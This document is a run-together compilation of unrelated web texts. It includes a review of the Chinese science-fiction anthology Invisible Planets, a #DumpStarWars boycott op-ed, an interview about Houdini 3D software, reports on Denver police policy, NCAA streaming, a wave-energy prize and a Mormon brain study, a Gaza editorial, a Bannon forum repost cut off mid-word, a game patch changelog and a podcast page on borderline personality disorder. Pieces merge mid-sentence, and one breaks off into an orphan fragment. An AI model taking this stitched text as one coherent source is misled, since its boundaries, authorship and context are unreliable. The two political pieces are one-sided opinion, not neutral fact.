Make no mistake, Invisible Planets is 100% Ken Liu’s baby. And though he might be known as the translator of Liu Cixin’s The Three-BodyProblem, the anthology wasn’t exclusively born out of that novel becoming popular in translation. “I had published 40+ translations of short Chinese fiction, and I realized that I had enough material to create a compelling anthology for readers interested in hearing new voices,” Ken Liu told Inverse. “It had nothing to do with The Three-Body Problem other than the fact that one of the stories in the anthology is adapted from a chapter in [that novel.]”
That’s why “whimsy” is the pervasive thread holding all the stories in Invisible Planets together, and “Grave of Fireflies” by Cheng Jingbo is one of its stand-out stories. In it, the author describes a future in which starships are seemingly evacuating the remnants of humanity in a mad dash to find the last remaining stars that might still be burning. Stars are going out left and right all around the universe, and no one knows why. Meanwhile, a kind of portal helps to guide the main character, Rosamund, to safety. “To the south was the Door Into Summer, built from floating asteroids like a road to heaven,” Cheng writes.
Xia Jia’s own story “Night Journey of the Dragon Horse” is another good example: it features a sentient, mechanical creature lumbering through a decayed, vaguely future-dystopian landscape. Xia Jia based the Dragon Horse on “real” dragon horses on planet Earth; it’s a kind of parade float, an attraction that would delight children. Imagining what a living version of a complex parade float might look like wouldn’t occur to most American science fiction writers. Is lack of imagination to blame? More likely, science fiction has been long dominated by western imagery and tropes, meaning everything about the imagination in Chinese science fiction seems fresh.
But how does one define “Chinese Science Fiction”? The essays in Invisible Planets don’t totally agree. In his essay “What Makes Chinese Science Fiction Chinese?” Xia Jia writes that the “disparate stories” found in the anthology “speak of something in common, and the tension between Chinese ghost tales and science fiction provides yet another way to express the same idea.” That’s not to say that there was ever a plan to present one unified theme with this anthology. Editor Ken Liu told Inverse that the book hopefully gives “… an overall sense of Chinese science fiction as a diverse category that includes many themes and approaches,” but Liu stopped short of saying that the book claims any “comprehensiveness” in terms of covering all of Chinese science fiction, ever. “It was conceived of as a showcase for some wonderful works of contemporary Chinese science fiction as gathered by an American writer and fan: me.” Ken Lui said. “I’m an American writer, so I write in the tradition of the Western canon … and I can’t claim that I’m too heavily influenced by any single school of thought.”
Regardless of motivation or total comprehensiveness, Invisible Planets is a wake-up call for a serious fan of science fiction. The message here is: ultra-realistic hard science fiction isn’t the global future of the genre, nor is a blend of literary fiction with borrowed “edginess” from the New Wave of the 20th century. Instead, Invisible Planets puts print sci-fi firmly where it should be: on the edge of what still isn’t quite possible in life, but can be glimpsed in art.
Quoting Gilles Deluze, Xia Jia reminds readers that science fiction is always in a state of “becoming.” There, finally, a true definition for science fiction — Chinese or otherwise might have been discovered. Chinese science fiction’s influence on the rest of the world has opened up a whole new frontier of discovery. Invisible Planets is probably just the beginning.
Invisible Planets is out now from Tor Books.A new social media campaign is trying to get Donald Trump supporters to #DumpStarWars.
The beloved sci-fi franchise is set to release its latest cashgrab entry in the series next week, “Rogue One” — but some of the film’s writers have already managed to alienate some prominent Trump fans on Twitter.
Shortly after Donald Trump was elected president last month, “Rogue One” screenplay writer Chris Weitz tweeted out the evil Empire in Star Wars is a “white supremacist (human) organization.” The point was agreed with story writer Gary Whitta who added, “Opposed by a multi-cultural group led by brave women.”
To drive home his assertion, Weitz then tweeted out the symbol of Star Wars’ Rebellion movement with a safety pin attached — basically identifying the movie’s good guys with the social justice warriors opposing Trump. He captioned it, “Star Wars against hate. Spread it.”
Star Wars against hate. Spread it. pic.twitter.com/Dtf5uqpxba — Chris Weitz (@chrisweitz) November 11, 2016
The symbol was in fact spread and became a popular symbol for those wishing to resist Trump’s ascension to the White House, thereby giving the strong impression that the Star Wars franchise was opposed to the next president. The actor who plays Luke Skywalker, Mark Hammill, sharing it didn’t help alter that impression.
Weitz and Whitta both deleted the tweets in reference to the Empire as a white supremacist power and previous ones in which they compared Trump to Adolf Hitler and other unsavory figures. But not before their messages had spread around Twitter, providing further evidence to Trump supporters for why they would want to boycott the film. (RELATED: Obama’s Brother Boycotts Upcoming Star Wars Movie Over Trump Criticism)
Of course, many left-leaning journalists scoffed at this proposal. Esquire guffawed that Trump supporters had “no evidence” that the newest Star Wars iteration had anti-Trump overtones, even though the same publication had written up about the safety pin Rebellion badge previously.
The Daily Beast took the high road in covering the boycott by calling its adherents “no-sex-having, basement-dwelling neo-Nazis.” Numerous other outlets covered the protest in a similar fashion, all with the implication that you definitely need to see the new movie regardless of its quality.
A bit weird how all these journalists demand their audiences to see a movie because it’s being attacked by people you should hate. It reminds one an awful lot of the positive press surrounding the all-female Ghostbusters reboot, which was praised effusively simply because “misogynistic” trolls hated it. (RELATED: The Stars Of The New ‘Ghostbusters’ May Be Killing Their Own Film)
Sadly, that’s not the only similarities the latest Star Wars films share with the estrogen version of Ghostbusters. Both movies fit within the depressing Hollywood trend of pilfering popular franchises for every dime their worth with half-baked, banal rehashes of their original classics. The only difference between the original versions and the new reboots is better special effects, more diversity in the casting and a greater emphasis on “current year” values. (RELATED: 11 Serious Problems With The New Star Wars Movie)
And of course, the steep decline in quality.
So there’s enough of a reason to not want to see Rogue One to send a message to Hollywood to start making new and original projects instead of making an inferior version of “A New Hope” two years in a row. The Star Wars writers trying to spin an anti-Trump message out of the film just gives Americans another reason to sit at home and watch the old trilogy instead.
Expecting everyone who is involved in making entertainment to stay completely out of politics is a tall order and shouldn’t even be desired. It goes without saying art can be enjoyed even if you disagree strongly with the creator’s politics.
But the actions of the Rogue One writers is a lot more than that. Their tweets, particularly the safety pin emblem, is an obvious attempt to make the film a political statement against Trump and his supporters. The evil Empire is a white supremacist, Trump-esque organization, while the Rebellion are all those scrappy college kids demanding a safe space from the president-elect.
It is a free country, so these writers have every right to do that. And you have every right to not see their movie because you don’t like supporting people who think you’re a Nazi.
The Left certainly operates on the principle of not supporting cultural creations with over political themes they deem objectionable, and that’s why you’re more likely to see liberal films in theaters than conservative ones. Progressives wouldn’t stand idly by if the writers of a big Blockbuster stated the villains were Democrats and the good guys were Republicans.
There are two recent examples of progressives going after TV shows because the people behind them have values different from upper-class liberals. Buzzfeed tried to shame the couple behind HGTV’s “Fixer Upper” because they attended a church where the pastor espoused — gasp! — traditional Christian views on marriage. (RELATED: BuzzFeed Is Trying To Destroy One Of TV’s Most Famous Christian Couples)
That same outlet and others also successfully pressured Cartoon Network’s Adult Swim to cancel the popular “Million Dollar Extreme: World Peace” show because its creators supported Trump and shared alt right memes. And this is a network that tries to be edgy and subversive in its content! (RELATED: ‘Adult Swim’ Fired Me For Supporting Donald Trump — Here’s How It Went Down)
The Trump administration is bound to upset folks in Hollywood and drive them to signing off on wildly left-wing films to give the finger to Middle America. Making the new Star Wars suffer at the box office over the attempts by its writers to inject an anti-Trump message into it would send a message to producers that alienating red states is not a profitable move.
It would also hit back at the Left’s attempts to take down any entertainer who has right-wing politics by giving them a taste of their own medicine.
We all want our big blockbusters to offer escape from the troubles of the real world and remain free of political preaching. And that’s why it’s worth standing up against the effort to turn a beloved franchise into another boring screed against “white America.”
Follow Scott on Twitter and pre-order his upcoming book, “No Campus for White Men” on AmazonAt SIGGRAPH 2015 we met with Robert Magee and Bill Self of Side Effects Software. We learned in detail about the tool, the use of Houdini in games, the procedural nature of Houdini, and some of the biggest AAA game that have used Houdini.
Introduction
My name is Robert Magee and I’m the Product Marketing Manager at Side Effects Software. I’ve been there for about 13 years and I’ve been in the industry for about 20 years. I basically work with the software and try to help customers learn more about it, what it can do, and help understand what the customer needs and then communicate that back to the company as well.
I’m Bill Self, I’m Public Relations and Marketing at Side Effects Software. One of the big things I do is tell our customer’s stories and convey them on our website and show the community what people are creating with Houdini from games content to commercial and feature films.
Houdini
Houdini is a procedural node-based solution for animation, visual effects, and game making. This means that everything you do in Houdini creates a node. You create a box, you get a node. You PolyExtrude the box, you get a node. You twist the box, you get a node. A lot of other packages have this as construction history, but that construction history eventually gets wiped away.
In Houdini, you keep it around and it becomes part of your ultimate workflow. Because of this, what you can often do is create these networks of nodes that define a pipeline or workflow, and then they can be shared with other people. So let’s say I want to have particles coming off of an object, or I want to take a character and turn him into vampire dust. I can set up a network for how to do that, and once I’m finished I can give it to my colleague and he can take the same network and he can turn his character into vampire dust very quickly and easily because this pipeline, this recipe how to do it, is packaged up and shared.
We’ve taken it one step further, where you can take those networks and wrap them up into a single node, promote parameters that you think would be relevant to artists and then you share this new asset to other people. An example of this would be city building tools. You might have an asset where it can build streets, or one that builds buildings, or another asset that puts streetlights in. These assets can be built by somebody who’s a bit more experienced and then they can be handed off to an artist who can work with those.
One of the things that happened on the games side was, we had all these wonderful things, but people wanted to work with these things inside their game engines. Not so much at runtime, but while I’m creating content, I don’t want to just export this from Houdini, but I want to be able to build my roads in Unity or Unreal. Because of this we created the Houdini Engine. It’s a plugin for any number of apps. Currently we have Maya, Cinema 4D, Unity, and Unreal. This plugin allows you to take those wrapped up assets I was talking about, and open them inside these other apps.
So I can be in the Unreal Engine, open up these other assets, and have all the other top level controls that I would have had in Houdini. What I do is as I manipulate it, under the surface the Houdini Engine processes the results and feeds them back to Unreal. It allows all the power of Houdini but within the more comfortable user interface. This is built around the Houdini Engine API, and this API is available to customers. If you have a AAA studio that has a game engine of their own, they can create their own plugin and get exactly the same workflow.
We’ve essentially created the Unreal and Unity plugins more as proof of concept to help people. Also what it does is allow indie artists and indie developers to get involved as well. We sell the Houdini Engine on the Unity store. They can also get it from our store. We have a few assets that people can download and try.
Versions of Houdini
The different versions of Houdini that exist are broken down more in terms of where you are in your development. We have a free version called Houdini Apprentice, it has virtually all the features except it doesn’t work with the Houdini Engine, but it does allow you to learn Houdini, develop networks and nodes, and so forth. It also has a render watermark and a limited render size 1280×720.
The next level up is Houdini Indie, it’s available for $200/year US dollars. if you’re making less than $100,000 you can use this product. It has pretty much all the features, limited render size 1920×1080 and no render watermark, but it will give you access to the engine in Unity, Unreal, Maya, and etc.
From there are our commercial versions Houdini and Houdini FX. Houdini is focused a bit more on animation, lighting, rendering, and modeling. Houdini FX is all of that plus – particles, pyro effects, fluids, crowds, and any simulation. The indie one has all the features but the commercial one can be used on bigger projects.
Procedural Calculations used to Build the Assets
The procedural nature of Houdini is about using very simple nodes that pass information onto each other. So if you have a box, that box passes to the next node and the next node, looks at the information there and does something to it and passes it on to the next node and so on.
One way to get those group of polygons into the next node is to select them. So you select polygon 2 and it’s going to feed in. Another way to do it is to create procedural techniques. I’m going to group everything in this zone and any polygons in this zone go into group A and group A will now be PolyExtruded. So there’s these ways of creating procedural techniques that allow you to make a change early on in the chain and it propagates all the way through. That’s the key, being able to make changes at any stage and they’ll propagate through and give you a different result.
Advantages of Mantra
Mantra is a render engine, photorealistic PBR render. It can handle lots of data and has a real production oriented workflow and how it sets things up. A lot of our customers have sort of grown used to it over time, given us a lot of feedback, and now it’s used more and more. There was one movie that came out in 2014 called The Book of Life that was all rendered in Mantra. It was usually used more for rendering visual effects, but it can be used for more than that as well.Mantra is a “get on the CPU and work hard” sort of thing. It’s got motion blur and depth of field and everything else. Plus we do a lot of volume rendering and volumes aren’t generally supported real-time because they’re heavy duty stuff.
Houdini in Games
A growing number of AAA customers are using Houdini right now, but their projects haven’t come out yet. Guerrilla Games have been using us for quite a few years for some of their Killzone games. There was also a studio in Canada we profiled on our website recently called Frima Studio that used us for a mobile game. That’s an interesting story because what they had was 2D elements and they had a game designer which created a whole bunch of cubes that they used to map out the world, but once they finished they needed to bring that in and texture it and get it all ready. So they built a system where they could bring these cubes in automatically in Houdini and merge them together, automatically create an edge and it could assign texture maps automatically.
They got this nice look and feel and this whole flow of this game and it was all done procedurally in Houdini and then they spit out the graphics for use in the game. That was a fascinating story because you’d think Houdini was for 3D games, but it was actually a 2D game that fed into it as well. With Frima Studio they could create an immense world, where things could be populated by vegetation and the vegetation was created procedurally so they didn’t have to do it by hand. It just basically enabled them to fill this big world with vegetation. Saving thousands of hours on level building.
Looking at EA’s SSX, a downhill snowboarding game. What they did was they wanted to use real topographic data of mountains. What they did was brought the data in and they procedurally plotted points down the mountain. They would have about 10 or 12 runs for a typical game for those sorts of titles, but by going procedurally they did over 300. By plotting the course they could actually do a procedural test of the course. They would run a procedural character down the course, and if it was too steep or too fast or didn’t make sense, they would move onto the next one. That’s how they were able to quickly go down the landscape and test a bunch of things quickly and easily. You’re not paying a super high price for making changes. And this is critical for artists in a way it frees up creativity because you don’t have to worry about the implications of a change. A change doesn’t hurt you, it helps you and makes your game and creativity better.
Future of Houdini
On the games side it’s to continue to work with the AAA customers to find out what their needs are and try to translate some of those back to the indie gamers. For Houdini itself we’re also starting to put more bread and butter tools. We just announced Houdini 15, our latest version coming out in October. We’ve added traditionally modeling tools like poly bridge and improved our PolyExtrude and edge sliding. We’ve added something called 2d expand which is useful for making procedural roads for cities.
As game artists get involved we’re going to make sure that those bread and butter tools are in place for them. Beyond that, it’s looking at ways of running the engine on the cloud and ultimately running procedurally at runtime. For now, Houdini is a creation engine that runs in the game editor to help game makers work more quickly and iterate faster. It is not yet a runtime solution but we’re looking towards that in the long-term future.
Robert Magee, Product Marketing Manager, Side Effects Software
Bill Self, Marketing & PR, Side Effects SoftwareWhen the Denver Police Department invited the public to comment on proposed changes to its use-of-force policy via e-mail, it received a mixed bag of thoughts and ideas, ranging from thoughtful remarks on legal standards for law enforcement to long diatribes about modern policing in American society.
There were serious comments among the 64 messages received, although some messages neared the absurd and some people just used the opportunity to vent their frustrations over modern policing.
The responses came from Denver residents and people who live out of town. At least nine officers, including a captain, sent comments. A large police union that does not represent Denver police in collective bargaining sent a letter — as did the Sam Cary Bar Association, which represents the African-American legal community.
The e-mails were sent to a Denver Police Department address at the invitation of Denver Police Chief Robert White. He invited public comment after rolling out a draft of his revised use-of-force policy in early January. He and deputy chief Matt Murray promised to read every e-mail and incorporate appropriate recommendations into the policy.
The Denver Post obtained the e-mails, as well as handwritten notes from three community forums through an open records request. The Post also received e-mails sent directly to the city’s public safety officials, including Stephanie O’Malley, the safety department’s executive director.
In all, common themes continue to emerge. Plenty of people find the policy’s language to be vague and open to interpretation. They want it to be more specific in how it instructs officers to use Tasers and chemical weapons.
Multiple people, including officers, questioned the department’s decision to ban police from shooting at moving cars in light of terrorist attacks in Nice, France, in July and in December at a Christmas market in Berlin where people drove large trucks into dense crowds.
“If an officer hesitates even one second in discharging their weapon to try to disable the vehicle operator or the vehicle itself, many innocent lives could be put at risk,” one e-mail said.
Last week, Murray said an officer would be permitted to shoot at a driver in such an extreme circumstances because of a broad statement in the department’s operation manual that says all situations have mitigating circumstances and officers are allowed to explain their decisions in those cases.
Officers continue to express concern over how they will be trained on the policy and how they will be judged during internal investigations into their actions.
Although the policy indicates officers’ tactical decisions will be reviewed after they use force on a suspect, the policy says nothing about what those tactical standards entail, wrote Don Sisson, a Denver attorney who represents the Fraternal Order of Police.
“The tactics of each encounter are clearly subjective beyond a few well-established fundamentals and invariably lead to different opinions from the officers that are present,” Sisson wrote.
His letter also questioned the training that will be given to bring officers up to speed on the new policy. He and others have complained that too much officer training relies on watching online classes. The FOP also believes the policy’s emphasis on de-escalation could have a negative impact on officers’ reactions to threats.
“The over-complication of this policy can have dangerous ramifications for officers who have to apply it under extreme stress,” Sisson wrote.
Jason St. Julien, president of the Sam Cary Bar Association, asked on behalf of his group that outside representatives be appointed to a use of force review board.
Some people wrote that they were sending an e-mail because they could not attend one of the three community meetings.
At the three community meetings, residents listened to a pitch from White and then held small-group discussions to form recommendations. Those meetings also produced a wide range of ideas and suggestions, including more complaints about vague language and more calls for White to include stakeholders in writing the final policy.
In e-mails and in forums, people said they wanted the city’s independent monitor, Nick Mitchell, to be more involved.
White’s decision to write the policy without forming a committee has been an ongoing controversy since he announced intentions to rewrite the policy about six months ago.
But White has insisted for months that the e-mail address and community forums were sufficient avenues for community engagement.
Last week, Mitchell told City Council’s safety committee that community forums were important because they allowed the chief to hear direct feedback.
“But they often tend toward the theatrical and people come to make their points at the microphone and they’re not necessarily places where you get a lot of important work done,” Mitchell said.
The e-mails reflect a similar situation. Police policies are complex, and the average person, while capable of expressing philosophy on how police should use force, is not equipped to write a policy that is clear, concise and meets legal standards.
Last week, Mitchell called on White to invite him, rank-and-file cops and people who are experts on the subject to gather to hash out details and finalize the policy.
“People need to be ready to sit down at a table and work through these problems and come to compromises to address everyone’s needs,” Mitchell said.
And City Council appears poised to ask White to agree.
“There should be better communication with all of us to help write policy, especially one as sensitive and important as this one is,” Councilman Wayne New said.To get people watching live video online, add suspense.
After just two rounds, internet viewing of the NCAA men’s basketball tournament has already surpassed last year’s total, with 51 million video streams, according to the broadcasters involved. That’s despite many of the games requiring a pay TV subscription to watch online.
New data suggest much of the streaming has concentrated on the final minutes of nail-biting upsets. The underdog has been victorious in all five of the most popular games so far:
No. 11 Dayton (60) beats no. 6 Ohio State (59) — 4.6 million streams
No. 14 Mercer (78) beats no. 3 Duke (71) — 4.2 million
No. 12 Harvard (61) beats no. 5 Cincinnati (57) — 2.8 million
No. 8 Kentucky (78) beats no. 1 Wichita State (76) — 2.0 million
No. 10 Stanford (58) beats no. 7 New Mexico (53) — 1.5 million
Ratings for traditional TV are generally reported as an average number of viewers over the entire program. Not so with internet TV. Dayton’s upset of Ohio State, for instance, totaled 4.6 million streams during the course of the game, with most people presumably tuning in just for the conclusion. That is supported by overall internet viewing time, which is up just 6% from the same point in last year’s tournament, even though the number of streams is up 40%.
The figures imply more people this year are watching online for shorter time periods—perhaps drawn in at the climax by chatter on social media.
Intense interest in the most suspenseful moments of March Madness could point to a strategy for companies trying to get people to watch video online. Drama-filled bursts of live action—like Felix Baumgartner’s space jump sponsored by Red Bull, which was viewed by 8 million people at the same time—seem to possess a congregating power on a par with cable television. But getting people to stay connected for the entire program is more difficult, perhaps impossible.
It has certainly helped that live streams of the NCAA tournament have appeared to work flawlessly for most users, unlike ABC’s mangled stream of the Oscars and other recent internet video snafus. The games are available on the web and through apps for Apple and Android phones and tablets. Mobile streams of the tournament are up 74% from last year.
Last month’s Winter Olympics was also heavily watched online, despite similarly requiring a pay TV subscription to watch. NBCUniversal reported that 2.1 million people online live-streamed a tense semi-final match between the US and Canada’s men’s hockey teams.Gaza is on fire again. And Israel is crying wolf again. All this is just three days after US President Barack Obama assured Benjamin Netanyahu of ‘unshakeable support' and hinted that the Israelis can easily violate all international laws to ‘defend' their interests.
The green light given by the world's sole superpower and Israel's precious ally can clearly be seen behind the unprovoked Israeli air strike which tore apart a Palestinian popular activist's car, killing him and his son-in-law. The assassination was followed by 10 other strikes. At least 14 Palestinians were killed by yesterday afternoon.
Israel's justification for killing those men is sheer nonsense. It is simply the arrogance of a government — run by right-wing lunatics threatening to drag the region into another conflict — that led to the weekend killings.
The Palestinians have the right to defend themselves. But they also need the help of all those who have been raising their voice, and investing their money, against the injustice and oppression in other parts of the Arab world.
Those western powers, particularly the United States, which have been putting a lot of pressure, including economic sanctions and severing diplomatic ties on Syria, need to exercise some of that pressure on Israel to stop killing Palestinians, release thousands of prisoners, halt land-grabbing and colony building in the West Bank, stop their racist policies in occupied Jerusalem, and come back to the negotiation table. But more urgently, Israel must stop this insane wave of air strikes.
Netanyahu must realise that the Palestinian cause remains the core Arab issue even though we have been focusing on Syria and other Arab crises since the Tunisian revolution.
The Arabs might diverge on many issues but we all agree on one — the just Palestinian cause. If the Israelis think the Arabs would simply ignore the plight of Gaza, they better think again.Sun and wind are seen as the most abundant sources of clean, renewable energy, but as many 'ocean-hugging' countries know, the energy of ocean waves is also both powerful and endless. Looking for the most efficient ways to capture that energy, the U.S. Department of Energy has announced a $1.5 million-prize competition for new ideas.
The department estimates that waves and tides along the U.S. coasts generate 1,420 terawatt-hours of energy annually. That is equal to the output of more than 330 nuclear power plants.
Unfortunately, the efficiency of today’s technologies for capturing that energy is only about 20 percent, too low for the investment to be economical, says Jose Zayas, director of the Wind and Water Power Technologies Office at the Department of Energy.
“We’re really looking to step-change that into the high 30s-40s [percent] and I think… once you achieve that, then the economic competiveness of this industry really comes to life and that’s really the target that we are shooting for,” says Zayas.
To encourage development of new technologies, the Department of Energy has launched a nationwide competition, called the Wave Energy Prize.
Developing new devices to capture wave energy can be a challenge. The environment in which wave capture machines must operate can be very harsh and unforgiving, with crushing blows of notoriously corrosive salty medium.
Competition organizers expect that most of the new ideas will be coming from existing energy companies, but also from the academic sector and research institutions.
Zayas says testing of the proposed technologies will be done in several phases.
“We would have 1/50th scale testing where we would do the first fundamental evaluation of their performance, as well as making sure that they are in a pathway that can assure them success towards a prize. We will then down-select again, and near the end we will have about 10 teams… it’s our hope to be competing at 1/20th scale,” says Zayas.
Testing of the scaled models will be done at the U.S. Navy’s huge indoor testing pool, with machines capable of generating ocean-size waves.
Zayas says the models will not be required to produce electrical power. Instead they will have to prove how much of the wave energy they can capture.
“We are looking at how the companies, architectures, have the ability to capture that energy and, of course, through high degrees of data analysis, acquisition sensing, actually quite easy to convert that mechanical kinetic energy into electrical energy, giving us confidence that at least the attributes of the machine are in line with the objectives of the prize,” says he.
Zayas says the ultimate goal of the Wave Energy Prize is to inspire a new set of power-generating technologies for the 21st century. Developers of the three best performing devices will be awarded prizes ranging from $250,000 to $1.5 million.Please enable Javascript to watch this video
SALT LAKE CITY — A new study at The University of Utah shows that Mormon religious experiences and sex both stimulate the same parts of the brain.
“These types of regions in the brain activate during sex, romantic and parental love, winning at gambling, drugs like cocaine and methamphetamines, really their core pleasure enduring circuits in the brain,” explained the study’s lead author Jeffrey Anderson, an associate professor of radiology and bio-engineering.
Anderson and his associates took 19 devout Mormons between 20 and 30 years old, 12 men and seven women, and had them lie in an MRI machine while they focused on Mormon religious quotes, videos and asked them to pray. The study lasted one hour.
“Going into it I didn't understand how they were going to stimulate a spiritual experience because for me [spiritual experiences] are not planned. They are not scripted. It's something that just happens,” said 29-year-old Auriel Peterson, who was one of the participants in the study. “How are they going to extract that out of me so they can see the experience in the scan?”
While she questioned how the researchers were going to conduct the study, she was still willing to try it. She was successful and had three spiritual moments while inside the MRI.
“When I said ‘Oh my goodness. I am feeling it so strong. Something is happening’ that time they compared the scans and, from what I understand, they said it [the brain scan image] was lit up like Christmas lights, where lots of different parts of my brain were alive and releasing those feel good hormones,” said Peterson.
Peterson said she did not need a confirmation her spiritual moments were real, but she was satisfied with the picture of her brain showing the internal excitement.
“It's neat to be able to see the scan and understand that there is a picture of it, not just I am feeling it and I'm telling you about it, but there is a tangible way you can see there is something happening physically as a result of that experience,” said Peterson.
Anderson said his goal is to understand how the brain reacts in all different types of religious experiences, not just Mormons.
“Is it possible that a Lutheran woman in Minnesota reading the Bible and an ISIS fighter in Syria contemplating religious violence may activate the same brain regions, that it might feel the same way for vastly different religious ideologies?” explained Anderson. “Well we don't know that, that's what we need to find out.”
Other parts of the brain that were also impacted by the participants Mormon religious experiences were moral reasoning, and empathy.
Read the full study from the University of Utah here.Skip to comments.
Amid Antisemitism Controversy,[] Bannon to Attend Major Pro-Israel Groups Gala Dinner
The Algemeiner ^ | November 15, 2016 | Barney Breen-Portnoy
Posted on by JOHN ADAMS
Stephen Bannon, whose appointment to serve as President-elect Donald Trumps chief strategist and senior counselor has drawn controversy in recent days over allegations of antisemitism, will attend the Zionist Organization of Americas annual awards gala in New York City on Sunday.
All administration officials are welcome to come to the ZOA dinner, ZOA National President Morton A. Klein told The Algemeiner on Tuesday. Any Democrat is welcome, as is any Republican. If youre a government official and you want to come to the ZOA dinner unless youre extremely hostile to Israel or a Jew-hater youre welcome to come. November 15, 2016 6:19 pm 0 Israeli PM Netanyahu Tells DC Gathering of US Jews He Looks Forward to Working With Trump to Advance Peace and Security
Speaking to a large gathering of US Jews on Tuesday, Israeli Prime Minister Benjamin Netanyahu said he was looking forward...
Furthermore, Klein emphasized, Bannon is not an antisemite at all. Hes never said or written anything that is antisemitic. If he was an antisemite in any way, shape or form, Id be screaming.
On Sunday, Anti-Defamation League (ADL) CEO Jonathan A. Greenblatt said in a statement, It is a sad day when a man who presided over the premier website of the alt-right, a loose-knit group of white nationalists and unabashed anti-Semites and racists is slated to be a senior staff member in the peoples house. We call on President-elect Trump to appoint and nominate Americans committed to the well-being of all our countrys people and who exemplify the values of pluralism and tolerance that makes our country great.
Greenblatt was referring to Bannons role as executive chairman of the right-wing Breitbart News website.
In a statement released on Monday, the ZOA said its own experience and analysis of Breitbart articles confirms Mr. Bannons and Breitbarts friendship and fair-mindedness towards Israel and the Jewish people. To accuse Mr. Bannon and Breitbart of antisemitism is Orwellian. In fact, Breitbart bravely fights against antisemitism.
Speaking with The Algemeiner on Tuesday, Klein characterized Greenblatts condemnation of the Bannon appointment as disgraceful.
The ADL should be ashamed of themselves, Klein said. To assassinate the character of a man who is extremely pro-Israel and pro-Jewish and to promote an image that hes antisemitic, thats rubbish.
Klein also called on other Jewish groups to defend Bannon.
You dont call someone an antisemite who is not an anti-Sem |
more difficult – and a little more interesting.
Clockwork Empires 30c Update: Gabions, Fishguns, Cultist Crops
We’ve put a new update into the experimental branch on Steam. You may opt-in if you dare. Changelog as follows:
Rendering
First pass at almost-zero draw overhead (AZDO) pass (as described in last week’s blog post). Enable this in your config.xml if you want to try it; not done, use at your own risk. To enable, change <entry key=”azdo” type=”int” value=”0″ /> to <entry key=”azdo” type=”int” value=”1″ />. THIS PROBABLY DOESN’T WORK ON AMD CARDS.
Characters
FIXED: crash when attempting to drop a body
FIXED: corpse dropping errors
FIXED: crash caused by going into infinite loop of trying to drop temporary tools
Military loadouts (as in, soldiers try to keep a gun handy)
fixed up some memory icons (incl. temp fix for frontier justice memory icon)
added “Military Training” trait (and a couple others, for fun)
FIXED: sleeping is not 10x as fast as intended
immigration event pulls from a limited set of colonist types (rather than ANY valid)
Colonists given from 1-3 traits. (Lower classes get one only. Military characters always get “military training”.)
Added a significant number of new memories for citizens to experience.
Fishpeople
Fishpeople now have morale & will run when they’ve had enough
Fishpeople now have weapons, including guns
Adjusted quality/quantity of fishpeople attacks slightly toward “quality”
Fishpeople attack spawns slightly fewer fishpeople (now that they have weapons)
FIXED: fishpeople now have gibs
Animals
FIXED herbivore run animations
UI/UX
Alerts can be put on job requirements when job requirements fail, with snooze timers. (This is done in one case as of 30C, will populate further.)
Buildings/Zones
Gabions fixed! Build gabions!
adjusted utility of gabion construction (no longer higher than basic military duties)
Added fieldstone foundations to a bunch of low-tier buildings
Turned off “make stone bricks” job (stone blocks will be treated separately from bricks)
Short wander added to end of dropping item in stockpile (to stop people from stockpiling themselves)
First pass on adding particle effects to modules (this is really cool)
Natural Objects
Clay and Sand are now mined with a shovel rather than a pickaxe
Doubled berrybush exhaustion chance
Farming
Crops planted/tended by mad cultists will occasionally be Evil
Evil plants will be removed by non-mad non-cultists
added sfx to “till soil” job
People farming will now sow seeds in addition to hoeing the fields
Added new agricultural crops: sugarcane, chilli peppers, flax. (Warning: not all new crops are hooked up to do anything useful.)
Some more crops rescaled (I heard you like big cabbages.)
Misc.
Did lots of texture resizing and texture cleanup
Removed some FSM console spam, made other parts actually say what was printing them (so they are now useful console spammers)
FIXED some missing commodity icons
If you’ve opted in to the experimental build, let us know how it’s going!
(Want to hear about experimental patches the day they go live? Sign up for the “ALL updates” option in the Gaslamp Games Mailing List.)The Terry Project on CiTR #25: Emilie, Living With Borderline Personality Disorder
In many ways, Emilie is your average twenty-something. But living with borderline personality disorder isn’t easy, and neither is getting the necessary medical attention. Emilie gave us an intimate look into her life on the first episode of our radio diary series.
| iTunes | Smartphone App | CiTR 101.9FM: Every Other Wednesday, 1PM |
Produced by: Chirag Mahajan, Sam Fenn, Gordon Katic
Special Thanks: CiTR’s Duncan McHugh, CBC’s Kathryn Gretsinger, UBC’s Teaching and Learning Enhancement Fund, and the Alma Mater Society.
Background
This episode was produced from audio gathered by Emilie over a period of approximately two months. The tapes were edited for brevity and clarity, but no scenes or sounds were re-created. We did not give Emilie a script. We did very little coaching and gave Emilie full editorial control. Our goal was to let Emilie show you her world on her own terms.
Have questions for Emilie? Email her. She’d love to hear from you.
BONUS: Interview with Joe Richman.
Can the subaltern speak? If so, can we record it? Sam Fenn talks to NPR Producer Joe Richman about the politics of representation and the journalistic ethics of making radio diaries. Check out his radio diaries at radiodiaries.org or subscribe to his podcast.
What is Borderline Personality Disorder? by Sophie Comyn, Research Assistant, Terry Project on CiTR.
Borderline personality disorder (BPD) affects the way in which a person relates both to him or herself and to others and is characterized by rapidly fluctuating moods, impulsive and risky behaviours, and unstable relationships. People with BPD often have an insecure sense of self that can fluctuate rapidly leading to frequent changes in education, jobs, friendships, and life goals. First recognized as a distinct, diagnosable mental illness in the 1980’s, the term BPD remains somewhat of a misnomer as it is based on the brief psychotic episodes experienced by 40-50% of patients that were originally thought to be signs of borderline or atypical versions of other mental disorders. It is estimated that 1-2% of the population has BPD, however, despite advances in our understanding of mental illness BPD remains under or misdiagnosed perhaps, in part, because an estimated 85% of people with BPD meet the criteria for other mental disorders.
Symptoms of BPD usually begin in adolescence or early adulthood and fall into five categories: risky and impulsive behaviour, rapid and extreme mood changes, difficulty in maintaining relationships, an unstable sense of identity, and psychosis. Many patients have co-occurring disorders. Women are more likely to experience depression, anxiety, and eating disorders whereas men tend to have problems with substance abuse or antisocial personality disorder. Approximately 60-80% of people with BPD show suicidal behaviour and upwards of 10% will commit suicide in their lifetime. More than 90% of patients engage in self-harm. The difficulty in maintaining healthy relationships, a hallmark of BPD, may stem from feelings of hopelessness or a fear of being alone or neglected. Patients are often sensitive to real or perceived rejection, failure, or abandonment. Some may go to great lengths to avoid being alone whereas others may react to the fear of abandonment by becoming socially isolated. Although people with BPD can, and do, have meaningful relationships they may perceive and experience these interactions as rather binary and fluctuate between viewing the other person involved in an extremely positive or negative light. While often unable to manage their own negative emotions people with BPD also experience problems in reading the emotions of others.
